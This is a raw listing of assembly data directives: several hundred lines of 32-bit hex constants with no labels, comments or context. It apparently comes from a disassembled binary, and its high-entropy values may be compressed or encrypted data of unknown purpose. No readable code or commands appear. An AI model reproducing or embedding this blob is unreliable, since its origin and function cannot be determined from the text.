		dd 7180210Dh, 8D2B63F7h, 2DD1F900h, 0F84B32D0h,	77AB00BAh
		dd 0D6518531h, 0C900A5CCh, 5EE5FEB8h, 14637A1h,	63557012h
		dd 0D0D9DD6Dh, 7E759059h, 0A82D000h, 7636602Eh,	149192h
		dd 743A308Bh, 0A50EA39Bh, 0D2430FF5h, 6BD15300h, 0EF1C1E5h
		dd 0D25ACE63h, 4CAB8CE0h, 0CF006FC9h, 720637F3h, 2EC2Bh
		dd 0DC3F16B0h, 0CD1DE679h, 4AB59h, 55454F76h, 75F707Eh
		dd 3AA44916h, 40C1C085h, 0A02D409h, 4A3D781Ah, 0B3C40DAh
		dd 97F20151h, 0B0306D35h, 1916D8B6h, 14470703h,	0C09508E7h
		dd 0E2114A37h, 3BD400B7h, 28C069FEh, 0D80073B0h, 66EEE825h
		dd 0FAB9C30Bh, 211D00A8h, 1B4350B3h, 67004CD2h,	61A5A6DFh
		dd 0F42F6h, 2B7995A9h, 854640D4h, 54925Dh, 5C349E7Ah, 2890DCFh
		dd 550E66E3h, 6060C030h, 80F02E85h, 0D907ECFAh,	2348F9FCh
		dd 15025D10h, 66C50393h, 0C47CB9A2h, 0D07F2EE8h, 0D349C700h
		dd 5E2B3160h, 0DB71BAh,	0CECA84A7h, 3421626Ah, 2E753B07h
		dd 8BC5972Ch, 0EDA82080h, 49EC12A2h, 0F3420044h, 2A7E206Bh
		dd 0DC2B7826h, 5C1B4F8Ah, 86F6E600h, 1D98CD2h, 0F3D4C5A2h
		dd 40914A46h, 5C2E316Ch, 89F95706h, 223603h, 79AAA64Ah
		dd 58A3E896h, 0BEA7A7Ch, 26F2012h, 73ECA500h, 3FA185Ch
		dd 77388350h, 2CA8C06Eh, 9D000996h, 0BCD0E764h,	60898AD8h
		dd 0E5ADAE47h, 25008D6Dh, 9C8FB85Ah, 0DE065Fh, 0AED12EFAh
		dd 0BCCA9D6Ah, 6E68A500h, 6C8321D8h, 6F661F69h,	0DDB0DD73h
		dd 0AD28007Dh, 0A7AFBCF6h, 5E66200h, 0EDB31D6Bh, 49B703D5h
		dd 3AD7DA8Dh, 0B2BC1A00h, 0DC20704Eh, 53500045h, 0C90D1258h
		dd 4B002BF0h, 164C1A9h,	747E8DEh, 0F7BE2010h, 0C0EB056Bh
		dd 76E778BEh, 0C6AB0500h, 95C38279h, 0BF3A0B0Bh, 8480FD39h
		dd 6C23862Ah, 0EC842600h, 0E00FD1DBh, 585D0981h, 8F89BDFBh
		dd 2857A401h, 0FAD040DEh, 0A126F422h, 2400708Ch, 0E3C82F14h
		dd 35D70016h, 2907BF1h,	0CC00DEBEh, 5DF2135Eh, 112BD71h
		dd 0DC72EE1Eh, 48BB7E3Bh, 0F83A7DF8h, 6023802Ah, 1D4EDF02h
		dd 63300072h, 524A510Ah, 4900EB81h, 7EF2CCC7h, 1EFADCCAh
		dd 472BE09Fh, 0DB844A9Ah, 0A448C424h, 74024CB4h, 0AB341D49h
		dd 1640D709h, 6500BC77h, 218418C1h, 53FCF3h, 9855D8C7h
		dd 0D1EF0334h, 7978040Ah, 9F032487h, 0AAA74Ah, 0E927CF61h
		dd 5DA40D4Fh, 8B51FF00h, 0B8F1DEC2h, 0AD410198h, 78AFD69h
		dd 0FB9BE0DBh, 0C012F7Ah, 323A7B21h, 55D895C0h,	0AF081E26h
		dd 306FDD92h, 0CFD53638h, 8D797600h, 293CBA60h,	6074E866h
		dd 6EC7209Ah, 860785D1h, 0D696AEB2h, 7EE399E0h,	78FFA014h
		dd 7A6FFA36h, 0ACB0003Ch, 7DB766D6h, 0DE1B25A3h, 369EF27h
		dd 775BCB39h, 29C0B0DDh, 0F1004AB2h, 8FDACEF5h,	115202Eh
		dd 6441C6FDh, 80B23B9Dh, 2D840950h, 6CE339h, 50D25247h
		dd 64DF8659h, 0FED6AF09h, 77CC8062h, 7DD776h, 484D853Bh
		dd 0A450FC4Eh, 26547100h, 9CFFBC9Bh, 610303C6h,	78AE93B8h
		dd 12294000h, 0FB964741h, 90B20E17h, 95E067CAh,	29D5DA2Bh
		dd 0A121B800h, 0F32DDDF1h, 30680069h, 50C8C191h, 0ACA42904h
		dd 286C4E07h, 0EF8756D4h, 0DEE17C11h, 7EA16C8h,	9B022F12h
		dd 0A6F04095h, 7F003EAFh, 0D7C61C67h, 384D25BCh, 0A09E3CE2h
		dd 11880022h, 0F7B81082h, 1CE8151Fh, 2594AC80h,	1741C202h
		dd 0F886ADAh, 8AA0CAE6h, 361DA505h, 0BD7A7F00h,	44246E85h
		dd 5070079Bh, 835AD814h, 0ACA8629Eh, 0FE002EA8h, 334AD63Bh
		dd 7E21DDCh, 556E895h, 0C25776h, 9E18E5C8h, 0E0CA2600h
		dd 85982E27h, 3F6A00E9h, 3CD5608Fh, 7600D188h, 38BB4CCh
		dd 0B7D15D0h, 0B94ACBC2h, 0E640E08Fh, 0B3D6B6DCh, 7F73E1Fh
		dd 86952880h, 83C2DEh, 59E72413h, 9A5D1158h, 374AD501h
		dd 711D8663h, 187DF880h, 3D5560CAh, 0FF9E1C07h,	0D8CEAA74h
		dd 0B7A730h, 95C2922Dh,	2ED22006h, 0CBF8351Ch, 9B245B00h
		dd 307213Ah, 0BA058C56h, 7BE0FF9Dh, 66023E84h, 25F370A5h
		dd 992C8132h, 0A3015B4Ah, 204C0821h, 4F21347Fh,	30A9048Ah
		dd 61CE0840h, 608E48DAh, 3150E130h, 67667D2Ch, 0F8405FB1h
		dd 0E8060C94h, 43582D9Dh, 0C63D2286h, 431407A1h, 19B8B32Ch
		dd 0D742EDF3h, 51964108h, 0C4C26B10h, 880F33B0h, 0C86941E1h
		dd 0C7D60159h, 188328C2h, 7A6958E3h, 3BC8C8C1h,	51808889h
		dd 0C0D12CE5h, 0AB0F02B3h, 20583325h, 495FDE9Dh, 0D8E66084h
		dd 0EF1F9C65h, 35133F00h, 64871A28h, 0FDB22059h, 420094FCh
		dd 0DEEAA47Bh, 6D70A1h,	95C7C0A3h, 3FE2B554h, 0BA3A8400h
		dd 18F865F7h, 0FACB004Ah, 0A25986CEh, 0DD03EF70h, 35F7EDE8h
		dd 0C888C858h, 360B2E32h, 43C2033Dh, 2980F34Fh,	0E400F9FFh
		dd 5A9EC368h, 1D442CC9h, 40690D53h, 0D9C031DDh,	0B90082B2h
		dd 0C401FA07h, 3C817DF5h, 7580603Ch, 2EE108BBh,	93030B1Ah
		dd 198FA80Dh, 7E83E0E3h, 14FA00C3h, 1FB12906h, 0A2C8EE9h
		dd 0F70006B9h, 0EC4239Eh, 963E02EBh, 80B007F4h,	0D520E680h
		dd 3D0A1DEEh, 0CC3C1A9Ah, 42C08B1Ch, 9CDBB64Ah,	0E909048h
		dd 88681C34h, 3674433Fh, 0A5A06EA0h, 8400C2DFh,	0CDDC40BCh
		dd 0EC7EBAh, 11FC41Ah, 38E150BBh, 754B9700h, 3F11E039h
		dd 0D449031Eh, 4AFB7082h, 0E9F2B8D1h, 0F828E4F1h, 0FF680500h
		dd 17A2A135h, 39A000BAh, 53AE317Dh, 5B3B97B3h, 41B8C9A8h
		dd 89D4E8E0h, 0DF721101h, 143B8055h, 0FF9EE1F3h, 7DC3044Fh
		dd 100081BAh, 99AE5936h, 190F31Bh, 3F95C911h, 20F80F91h
		dd 50242A60h, 0CB06BFD0h, 4228B2E1h, 247B1194h,	4F1611h
		dd 61DF0C82h, 8A2E28F3h, 2908CF43h, 4D35872h, 0D6A58Ah
		dd 9D0CFA6Ch, 0C779223Fh, 30933E22h, 0E0A1D750h, 28C40A84h
		dd 9A44168Bh, 0BF424383h, 0A45028C8h, 9C871050h, 148628F6h
		dd 0A60FE818h, 40B13850h, 9B62800Bh, 23842229h,	5118BAEEh
		dd 0B979783Ch, 4CCD04EAh, 4E8C6EF8h, 0C92859h, 9D11DCB0h
		dd 0DF004F8Ah, 0C2A03DDEh, 5326A5h, 87893AC3h, 0B274AB80h
		dd 0E30B8403h, 0D079E0F2h, 0FC2E9h, 0B3C7246Ch,	0D7F07191h
		dd 884148h, 224CB2C9h, 3ABB73B4h, 4BADD8BCh, 0EE009CF0h
		dd 84D6CC8Fh, 986092h, 5FF31469h, 9CBCEAC5h, 0C385BA02h
		dd 40035C73h, 7190B4h, 1D969178h, 52D3078Bh, 802A0E3Dh
		dd 0A9DB7DC9h, 3484E2h,	0ED06E0E4h, 149144D4h, 0E57C50Eh
		dd 50DC2011h, 73E91668h, 3095003Ah, 0DE7EC5Bh, 0E305BB85h
		dd 90C5B5CBh, 0A0926083h, 18DC74h, 0F6D4E5A5h, 0E2ADC1B0h
		dd 0C0A9470Fh, 0D36C208Ah, 0A6451Dh, 1F4D74E1h,	0E422CE41h
		dd 0E60B28F4h, 2098E0CBh, 0A7788988h, 9040BD61h, 3C3B59E3h
		dd 0BC3F80A5h, 5BD77794h, 1BFE00E1h, 780D8113h,	87076FEAh
		dd 31BCB610h, 0DA721DF0h, 0E2DE0091h, 9E82F87Eh, 0E900C1D9h
		dd 1A0AB3BBh, 1CB6B9Dh,	4C3B2DDCh, 6EB19170h, 509E17F1h
		dd 15BD4079h, 0E12CDF21h, 39083F01h, 0AD88F00Eh, 71E58FD8h
		dd 768B03C8h, 8A7BA0CAh, 6F448DC8h, 58BF9F00h, 623F6D89h
		dd 0B04D1ED2h, 99B2479Eh, 97885084h, 160095BDh,	318AB5FDh
		dd 354CAEEh, 0C15EE2AEh, 72886633h, 73072D62h, 85BEA51Bh
		dd 0E770E181h, 1961C60h, 52DB88D6h, 0D84E77AEh,	3B00DFE6h
		dd 643EA8FBh, 7FD6672Eh, 7D07F26Fh, 0FEE9007Ah,	33266E13h
		dd 0D8004D27h
		dd 81B010CCh, 0FDA482h,	7334A7D6h, 57FF477h, 8FC9AD00h
		dd 0D3875325h, 0F117007Eh, 983A3160h, 647BC2A6h, 0E000027Ah
		dd 6E0F8F71h, 75522ACCh, 0F037767h, 10B8DCF3h, 48635CE3h
		dd 0CF4330E0h, 0D73BB901h, 0EE1BED78h, 747A7F8h, 0FAD768Fh
		dd 0FF9297F3h, 0DE6E4F00h, 611CC323h, 3056CE24h, 6CFF4200h
		dd 0FC47B2h, 0BCC90949h, 0D88DCB29h, 0AA244492h, 4B6E1C8Bh
		dd 5798095h, 713EE14h, 888AAF32h, 42D62037h, 0F107066Ch
		dd 76868C01h, 0CB93A660h, 0F96E24B2h, 313B0010h, 0E2A45A44h
		dd 30B4CA00h, 0C884AEA1h, 3880FDBh, 0B1C0C517h,	0BC0F5036h
		dd 4E001C90h, 5F0B8DB0h, 3A11D32h, 0AD9C3F9Bh, 0C0A0E866h
		dd 6A0F963Ch, 20882F43h, 0B9C50C63h, 5E8B0022h,	0AC73F693h
		dd 0EF03BCFDh, 967A500Eh, 57FE8001h, 740609B4h,	9D804529h
		dd 0FDEBD910h, 69E20403h, 0E883666Ch, 53403Bh, 0CA48AC1Eh
		dd 32FA8738h, 740EBE79h, 0C2DF8C2Dh, 0C056C4E1h, 597D6h
		dd 98884F6Dh, 853E9F53h, 0C461BA00h, 0DDDB245Ah, 3CAD0051h
		dd 504E7F06h, 8700F420h, 4297E9A6h, 1C8DC533h, 800EE1E2h
		dd 0A50FBBF1h, 76004FC8h, 0FFDB1BD0h, 1DABC214h, 7C223A05h
		dd 68F41700h, 2FBD7CCAh, 0B2CFE24h, 25A0800h, 3A8D55B8h
		dd 1701D481h, 75971383h, 0E80EEC63h, 3DC7D501h,	0DB688E36h
		dd 7B711080h, 162AAFB8h, 0F9A41D00h, 0C1C2322Bh, 8C760Bh
		dd 0D34B78C5h, 0D5B87967h, 0AD18A000h, 0CCED0EBh, 124100DEh
		dd 0F4ED3125h, 0D22678AEh, 40007939h, 0E4FEDFFDh, 0B13A0EE7h
		dd 8E001E2Fh, 0CCE13D3Bh, 4E1BDC13h, 73EA5F00h,	4A74633h
		dd 6F776B63h, 0B2E81Eh,	134BF99Ah, 1EFE41A8h, 4E6034h
		dd 6574B8F2h, 8F00BC5Dh, 3859AE9Eh, 1D097045h, 3E2C40C7h
		dd 0AA4DED0Fh, 91E6E0E0h, 7900FD5Ch, 0D277DB1Dh, 171BCB85h
		dd 0BD3029h, 0C5F0D4CDh, 4F79F71Ah, 9CEA2016h, 1EE750Eh
		dd 785DC07Fh, 13A45C4h,	0A5BFABDBh, 706F7556h, 0CC004B08h
		dd 9717BA39h, 131F78Eh,	92409DCDh, 0C8A7FE03h, 0CA00C3D5h
		dd 80C6DE4Bh, 4C352CECh, 6D010FAEh, 0A4664CC5h,	0EB9C4027h
		dd 0B800A30Fh, 0DA68FFEEh, 1E3532Ah, 3E16D3B6h,	30413C56h
		dd 2CB01CDAh, 47D1D81Fh, 0EC23F080h, 0EAC7299Ch, 0B81B0160h
		dd 0D0CFA48Dh, 485FF088h, 3AF04E5Ch, 4D2F80E9h,	1B16A77Ah
		dd 0F7400032h, 0BCC6EAFAh, 79E64B67h, 922B4A03h, 0C8B58DC2h
		dd 0DE2632h, 7AB7ECA2h,	5917F528h, 9271CC05h, 0C7BE4783h
		dd 0A89B30FCh, 4E00674Bh, 0A1EE33FCh, 3C2D65F9h, 12805430h
		dd 488A0B0Fh, 0A300CA1Fh, 49ABAFA6h, 3E80FD97h,	790071B7h
		dd 0CD398724h, 9E071BCEh, 2089CB7Eh, 21AAA890h,	158900Ch
		dd 1E6EE238h, 309F2597h, 0FD072390h, 1BF6420h, 54807024h
		dd 1F4D71B5h, 3F7568h, 0AF9739E0h, 4A5044CBh, 8F392ED9h
		dd 588C1E94h, 0DC417600h, 0C27153h, 6F24DEBAh, 8F6C965Dh
		dd 9C318328h, 175C1100h, 1870D60Fh, 98EF006Ah, 72215C1h
		dd 4B07EEB1h, 59EDD550h, 4F014540h, 0D89805h, 7E25C6D1h
		dd 6DF15C93h, 98A2AA00h, 0F9E1FF7Ah, 0D970A6h, 0C883CC72h
		dd 527F34C7h, 31CDD500h, 935C226h, 177420h, 5BC08129h
		dd 194CF8F2h, 0E1681400h, 0B6E908Fh, 0AC0E013Eh, 40E0CEE8h
		dd 367CC55h, 8C3B7300h,	0CDE5E9B7h, 0E67B00C7h,	7E41A9E2h
		dd 0F3003FBEh, 0A2813BB5h, 2C61D04h, 0B87C2A77h, 8C80887Bh
		dd 67DE3EC8h, 7EA95700h, 0F4012524h, 547F0E92h,	2B001D36h
		dd 13D444C7h, 283DF00h,	9B24B276h, 65570755h, 274D9925h
		dd 0A9F001F1h, 7C9FF4CCh, 9E246400h, 0A1CAE763h, 0C920287h
		dd 5BAAEA7h, 0BF52B840h, 7B8CFF2Ch, 8DFCD600h, 4F4C76h
		dd 8BD78F18h, 2787BEC0h, 5A0325Eh, 0E47E0060h, 649CDDCBh
		dd 56099EF1h, 901BD8AEh, 0A0A668h, 0C4694923h, 1FD4B337h
		dd 4CA3A800h, 950212CDh, 0DF53DA0h, 50000948h, 48D6AB15h
		dd 2C009FB3h, 540A3296h, 5AB442h, 36880EF6h, 74CBF425h
		dd 135B1405h, 0E890A75Fh, 4D3191h, 0AD6EF1E4h, 72EEBD0Ch
		dd 0B088FF00h, 0EDDFE82Ch, 4FDC00B5h, 180F3A9Fh, 0B04BDB3h
		dd 0C89BF123h, 7C42DC80h, 0E388386Ah, 8D74AB80h, 90F97F2Eh
		dd 4409A501h, 0DFDEA3ECh, 0E4B8D60h, 934F543Dh,	393510C0h
		dd 0BD0FCF46h, 0E35F1EC6h, 9BA549E4h, 42F580FBh, 0AD830E44h
		dd 0B9A032B0h, 24587BDEh, 0D0555F00h, 5E66AF71h, 8B560060h
		dd 72DCE68Ch, 7A5BA251h, 528FF0h, 742C35D4h, 89FC7C21h
		dd 80184739h, 36C96E99h, 8A0DA3h, 4DC3C25Ch, 0ACF668F3h
		dd 464074Ch, 10FCF917h,	1603E480h, 60B7B87Ah, 0E32D10E4h
		dd 7900D1BEh, 8FA1F48Ch, 980B999Ch, 8A421DCEh, 0D3A387E5h
		dd 10C29746h, 0C0C38DA9h, 190116B8h, 0A96DA4Ah,	3FC8B08Ah
		dd 182500F9h, 0B7B5C3DFh, 2C000FE2h, 68DE03E4h,	13CA4Bh
		dd 0F7F1586Bh, 0BC0A6DC6h, 0DAF360Bh, 80520032h, 1C34CB39h
		dd 0FCFDA1Ch, 0B07D17DDh, 0D4BDCA8h, 6CEED471h,	56793Ch
		dd 94ED6208h, 78E3FDB6h, 4ABC00D2h, 1DAB5195h, 0DB00B897h
		dd 68F9BE66h, 0BA5930h,	0DEE5E3B1h, 9EE40BDDh, 0FCAAA201h
		dd 2E668319h, 9643260h,	35D1F15Eh, 0EEE84100h, 420E2220h
		dd 0E0AE0D72h, 0C17A9E4h, 5D742480h, 0F32B00A8h, 9A11382Eh
		dd 68CF560Fh, 81F022EFh, 0DD5EE0BBh, 0C77679h, 4517252Eh
		dd 50CBB10Dh, 0B88D7500h, 993BBEA2h, 9AE8EF22h,	0C93F051Bh
		dd 0C1F04AF8h, 704492F0h, 0D8135410h, 2840F389h, 0FF86BB05h
		dd 0B7B00030h, 62D57525h, 630E5967h, 142097h, 0AC2E067Ah
		dd 4FFA0EAFh, 5DA5FB6Ch, 25F0A05Ch, 0B407B300h,	72E476CCh
		dd 0F758C0A6h, 1B5835A0h, 15D00F0Fh, 0BC47C1D4h, 0ECD114BBh
		dd 0F634E8h, 0CE574BAEh, 32DCE104h, 0D86A2400h,	0BD80D7D9h
		dd 0F7A6005Fh, 2219DF61h, 0CFB0992Eh, 0F0004672h, 8408145Ah
		dd 3DFB3BDh, 258D5727h,	0A1A35DB2h, 1C4F07B8h, 81EAF83Bh
		dd 26AA6C0h, 94F02CBAh,	58736752h, 6D93602Ah, 0FA78D3F9h
		dd 7B97A800h, 82B2102h,	0CDC80017h, 2583F585h, 0CF0193BAh
		dd 0E8D50F8Ah, 60801C0Eh, 59BE760Dh, 65E8CB68h,	7EAC4E00h
		dd 0DFA6C26Fh, 84CF002Dh, 5B9D15AEh, 38B86D48h,	0DB4B9301h
		dd 41F2B330h, 44E0460h,	0D491F97Ch, 0CDCCC011h,	600E9BBh
		dd 8343DE07h, 5A66978h,	63C53EB8h, 0AED3807Dh, 9304DB88h
		dd 4AFD2011h, 0E1F2D482h, 38748678h, 0F4310042h, 1023E182h
		dd 3B01A3F6h, 3D2CD627h, 0CEC1461Ah, 0F8F178C0h, 0D22E00F8h
		dd 0CD603AEAh, 44006C1Ch, 0B6E51401h, 0FD9BBB5h, 426EB787h
		dd 0A6880D60h, 8E00F0DEh, 4B14A95Fh, 0BB62B6h, 1675C2E5h
		dd 41BABE0Eh, 0F9EC5201h, 2E7A035h, 68E6CCh, 0AA9A2ECAh
		dd 0C8F8B74Bh, 0F2FFAB05h, 15809FDCh, 3AED4C08h, 0C80F9AFh
		dd 6F441EE1h, 5A3D16EBh, 60F28097h, 6EC514F5h, 20AFA47h
		dd 0F43B2BE2h, 1260345Ch, 0DCC0C416h, 0A6B79281h, 0CED0086h
		dd 0C970665Bh, 1007B8Eh, 0D44FAD10h, 0EC58853Fh, 0B64E00E4h
		dd 9A904680h, 0B4049795h, 64416CB9h, 0E85EB883h, 0E485F5h
		dd 0E7473B70h, 0C9B6F676h, 0AAD15809h, 0A7CD0320h, 5EA0E061h
		dd 73100096h, 8E49E875h, 0D000045Ch, 4A56B430h,	9277BCh
		dd 8BB6EE3Dh, 0E2378631h, 6C5A9AF2h, 0D2107000h, 4C514EE9h
		dd 60458B8h, 0C0956231h
		dd 0D4E13A5Fh, 83AB1400h, 128A04F1h, 9E4399Bh, 80C460A6h
		dd 5AC2A2A9h, 3754CABh,	0E02B880Fh, 0FAFEA19Eh,	3C70D9B0h
		dd 0DF780FC4h, 8680EC16h, 47417E49h, 0F7B68A03h, 0F0BC8B97h
		dd 2CC6C19Ch, 73079A2h,	0DF5C4EAAh, 7BACB980h, 0E9007DBEh
		dd 3239219Eh, 2E4D5D61h, 3F07EC7Ch, 2FAB4B80h, 0A2700BD5h
		dd 0A9522400h, 358B4429h, 0BBCA013Fh, 7120C215h, 6A5BC0D1h
		dd 4788A9A0h, 0A1FEC009h, 812D03F1h, 0D9AC90E9h, 78CE00B7h
		dd 0AE5EB029h, 0C301380Ch, 6EFC96E5h, 48208CC7h, 643A0785h
		dd 0E00BE4E2h, 11466048h, 6A9D9B00h, 0F1D82D89h, 62810018h
		dd 2F084D04h, 580010AEh, 3A098293h, 1B099C6h, 50C9A9A4h
		dd 31CB6095h, 9402C093h, 8DB65400h, 8753EF31h, 2B5900DDh
		dd 0AEAAC07h, 190002A7h, 63EEBC10h, 0B40CA6h, 5F62DC18h
		dd 0F3ED8322h, 0B27C9EA0h, 0C82F1707h, 73009451h, 4F87BB4Bh
		dd 0B8347007h, 28C04C2Ch, 0B044651Ah, 0B5D000E2h, 69C64A9h
		dd 0E507D4A8h, 55B8EC3Bh, 0F9F65280h, 0BA7FB7h,	5B056EE2h
		dd 6881F81Eh, 87B69739h, 4E506461h, 3E11327h, 7870A584h
		dd 0E6F77F10h, 17E14CDCh, 854C007Dh, 3A904493h,	5C00DB49h
		dd 2A97EFF4h, 0FB77DDh,	732602B8h, 83A0DC2h, 0ED125C90h
		dd 4C408B61h, 0F3938AB8h, 0D2741F9Bh, 506801Bh,	0E9ECBAE6h
		dd 730C148h, 0C5EFA28Eh, 0F0D2E753h, 0FECD72h, 0A5523D36h
		dd 669301DBh, 0FB042503h, 0FBB303A7h, 5A0F8AAh,	30830072h
		dd 9466239Eh, 7E1F485Dh, 100040C3h, 5462EC5h, 904D036Ah
		dd 88EE1338h, 0E8EC29B0h, 0FA00FC90h, 0D6EF7C4Bh, 9705C89h
		dd 3228CF81h, 4C940D00h, 5E00F058h, 0E996B81Ch,	1567CC8h
		dd 0EBD62698h, 0ECE2B13Dh, 0C02AC2DBh, 703CC6Dh, 21C1D2F4h
		dd 0ECC68049h, 0DDD000B9h, 0AA6DEDF2h, 0DA3EAC19h, 160900CEh
		dd 23FEE4B5h, 1D3900C3h, 0DD8A8196h, 95481E73h,	3CD0B84h
		dd 6400605Ch, 8EA7001Ah, 0C51BD9FEh, 610F76A4h,	2C48E7h
		dd 0BE25082Ah, 4396393Dh, 83574D8Fh, 0FEE9F60h,	0D6078539h
		dd 0FD9BC4EDh, 1D943B80h, 14B0038h, 7476F37Fh, 7700A83Eh
		dd 8D0F3F2Dh, 1D8FA1Eh,	0CD05E15Eh, 0EC9F0B2Ch,	2200B8E4h
		dd 0C93EEF74h, 1F28B9EBh, 0D2B12421h, 6864A081h, 42527CB6h
		dd 47E1C034h, 7F0E687h,	7D5D4875h, 5C51800Ch, 64007A1Fh
		dd 3E9EEE5Fh, 0C5D53Ch,	0D8BD320Ah, 821FDEEAh, 129D6A0Fh
		dd 1BEEE008h, 1AF250h, 0FF25C148h, 0DC401651h, 3C0B33Ch
		dd 71E74B05h, 0B986E34Dh, 22A5D49h, 6B32AC8h, 0D809D440h
		dd 1E24BA4Ch, 0F1C24BDBh, 80EE88BDh, 0B0F91B85h, 0AFD700EAh
		dd 459C89A4h, 9100CFBBh, 0D5EBD8A3h, 0F2F7FFD6h, 12FB0CF9h
		dd 5D44FAB6h, 107AE102h, 80B2CAD5h, 98C5F182h, 6CC10EA4h
		dd 805D1D9Eh, 2025AD7Ah, 5C75B0D3h, 77B61800h, 714D0E13h
		dd 102900BEh, 5F7F9993h, 0A87E3902h, 80F37A38h,	0DAE5F1B5h
		dd 0FD2E7Bh, 0ACC38A44h, 58D2C8F9h, 80735038h, 0AF55AAECh
		dd 575C60Bh, 1887B5B3h,	6306C7CFh, 9EF147E1h, 0D4DEE895h
		dd 3625680Fh, 903E00D0h, 985C2051h, 5E8300B1h, 6991C5E7h
		dd 66003105h, 0B01434AAh, 45CD4BDh, 0EE9936AFh,	0E75CC0ECh
		dd 5447CF0h, 4C810055h,	18C8B01Bh, 34172569h, 4430B7CCh
		dd 0BE894A5Ah, 0A9B100C8h, 4F8DF052h, 78FFB32Eh, 9A681602h
		dd 71878CAh, 1FABA038h,	6E106048h, 133AC815h, 33618008h
		dd 68EC7F3Eh, 1D820151h, 84C185D7h, 1F9C28FEh, 0ED403F67h
		dd 3C25F5D0h, 0FD0900C4h, 7E5A9660h, 0CE0013D7h, 92D61B90h
		dd 956481h, 4CB55B28h, 0F49FA045h, 7893C209h, 4F6C8009h
		dd 7C0EB80h, 7BC6BFB3h,	0E7BAF0F8h, 98E2DD3Ah, 5794A51Eh
		dd 40ED7980h, 0E637D2h,	35B8FDE9h, 19BB1663h, 26C04519h
		dd 0DAF4A3B9h, 66B40190h, 4A738822h, 0CBCAD0E9h, 7DB96800h
		dd 7C27B009h, 0CA800CFh, 71CE0DA9h, 0D100696Ch,	0CD98D2F8h
		dd 6A90BAh, 0CBE8499Fh,	6811AE0h, 0C20337Ch, 0A7DE0073h
		dd 48EDD088h, 0D500B63Dh, 0B8132927h, 0E90D1Ch,	8674015Ah
		dd 38D137B1h, 85EB3E09h, 67DCC05Ch, 20A0004Dh, 0D8FB533h
		dd 1F2EC140h, 12007895h, 0A72679B7h, 55B0035h, 0D742EC06h
		dd 2B28C3F9h, 900388A2h, 0CB92950Dh, 0B9599917h, 0CE7930h
		dd 85E61DF7h, 0BB5826B4h, 0CB385602h, 607BE199h, 0B69678h
		dd 35C8365Dh, 1ADABB23h, 248C1300h, 0D3CDBD6Fh,	2C3E00A8h
		dd 9F7F69Dh, 2016421Fh,	60006D70h, 25EA955Dh, 71330003h
		dd 459175D7h, 0F3E63DFFh, 0EE363C01h, 8231489Dh, 7ADC1BCCh
		dd 0C0513F2Dh, 1FA8EC03h, 3B88E46h, 8A002F7Fh, 96933A27h
		dd 6CC5DCh, 0FEDF380Dh,	91CAD8F7h, 15E3E20Bh, 0AE64829Dh
		dd 39505693h, 7680A538h, 0A05228AFh, 450070FCh,	6F6DD5EDh
		dd 691525h, 0AE091A16h,	0E42A6B31h, 5F2958h, 0F21D6E74h
		dd 0FA6C8Ah, 0DE07D302h, 0E0241F53h, 2C9ECBF6h,	0BFC72900h
		dd 19A81FBh, 22EE6AAAh,	0FC066968h, 1F004DA6h, 12119B43h
		dd 0F4E3C981h, 7A3A0329h, 9B5614Fh, 0BD8EB012h,	497420F0h
		dd 9200D4CDh, 0F2E893BAh, 86008F26h, 0A4123094h, 1E2486Fh
		dd 47578D08h, 0FC6A3DD9h, 1000CBAFh, 833709B0h,	0E20CE1EFh
		dd 0A973006Dh, 7ED5E8E0h, 0F7723C2h, 5C93EC00h,	0D0E18E3Eh
		dd 32766Eh, 28EF6AF5h, 0A456612Ch, 501C2600h, 4938475Eh
		dd 9D530A92h, 0C9985Bh,	0C2CFFB35h, 2C28A16Ch, 0AE00B407h
		dd 0F80ADD20h, 0EFD360h, 88C528Ah, 0BBCF2F02h, 0ADB89101h
		dd 0FFEEA658h, 0DE46C280h, 0C5D33D6Ch, 823CB100h, 0A7C2364Ch
		dd 0BC6800D7h, 0D151EE7Eh, 4300AA02h, 75FA9BA5h, 0EA62Bh
		dd 0DE204BC6h, 0F788B28Fh, 6416CE00h, 0AC657B22h, 9EFB003Bh
		dd 96830736h, 8A0F1262h, 21B96CAAh, 2445B14Eh, 5FAC9464h
		dd 19CC4094h, 2D85F3E1h, 3944761Ch, 4EE93E85h, 70C918C8h
		dd 0F083176Ch, 0E6344790h, 79A6D0E8h, 70EDCDD8h, 8E019446h
		dd 67D6643Fh, 0B8C0874Ch, 77790055h, 0D75BF654h, 23971F0Eh
		dd 138EC484h, 0C0223581h, 900FF2E4h, 0A22DD300h, 9A5887Fh
		dd 92850EC3h, 9C2001C2h, 0D74E1F6Ch, 2A70B800h,	46070633h
		dd 0F22B13C4h, 492E0062h, 875CD0DBh, 0E532F103h, 987E8019h
		dd 5B5FAFh, 0BC855D0Ch,	0A3B529C5h, 92F14F00h, 6F481BADh
		dd 0D9190069h, 0E0345CACh, 0A30F2572h, 92395F63h, 0D5E74890h
		dd 0F52B006Ch, 0E61FC2C0h, 76000971h, 0C97881F7h, 0E679E76Bh
		dd 972B01F5h, 25A9E065h, 0C350F82Eh, 0FED3A63Dh, 6C802900h
		dd 0B22FFD2Dh, 0A9270123h, 8F1F48D1h, 2BC2034h,	0ADBEA128h
		dd 2398CB1Ch, 0C722B400h, 38577F2Dh, 0EE008C76h, 4E640B1Ch
		dd 0B23EEA71h, 85D880AAh, 1498F865h, 15741CD6h,	5100FDA3h
		dd 0C82A71E2h, 9400164Dh, 0F389BE5Fh, 45078Eh, 9ED7375Eh
		dd 0D3BDF74Fh, 69AB2700h, 0F69FC44Ch, 10FE42Ch,	2A28A888h
		dd 0CCD17F25h, 231FECB1h, 0AD5E9D99h, 0D94E4240h, 200EABh
		dd 0B7E7DD81h, 1B2B0860h, 5D64A607h, 0A4131D71h, 5B33D941h
		dd 0FA0ED20h, 0B7779278h, 0F8EAC6E3h, 1DC22698h, 5E66E700h
		dd 2D0EE0A2h, 0C1624E65h, 308F4A08h, 773F086Ch,	80233A39h
		dd 0A6BC1F58h, 0CD6BB0h, 617C8137h, 3CFD1127h, 0ABEC460Fh
		dd 0C36A403Fh, 95904971h, 66164370h, 14005735h,	771F4A2Eh
		dd 0A80D0329h, 0E3779DEh
		dd 5AC9C890h, 5F4E2A05h, 0D480A371h, 747CDC0h, 0BD3808FEh
		dd 34D889B5h, 1437B25Eh, 48E23F12h, 6AC798h, 6B17A191h
		dd 9F9719B5h, 7FCEFF00h, 0E67466B1h, 0E8BE80Ch,	0E89BAC7Eh
		dd 8C0F88Eh, 0DDBC0F60h, 0EE382E00h, 9481CC61h,	0B7020006h
		dd 22B9C7D2h, 0B5F62DFEh, 1CAB5401h, 0D877625Dh, 74C3D8h
		dd 3DAD3036h, 5B980CB4h, 0F40E30C0h, 502D54D8h,	3A67A872h
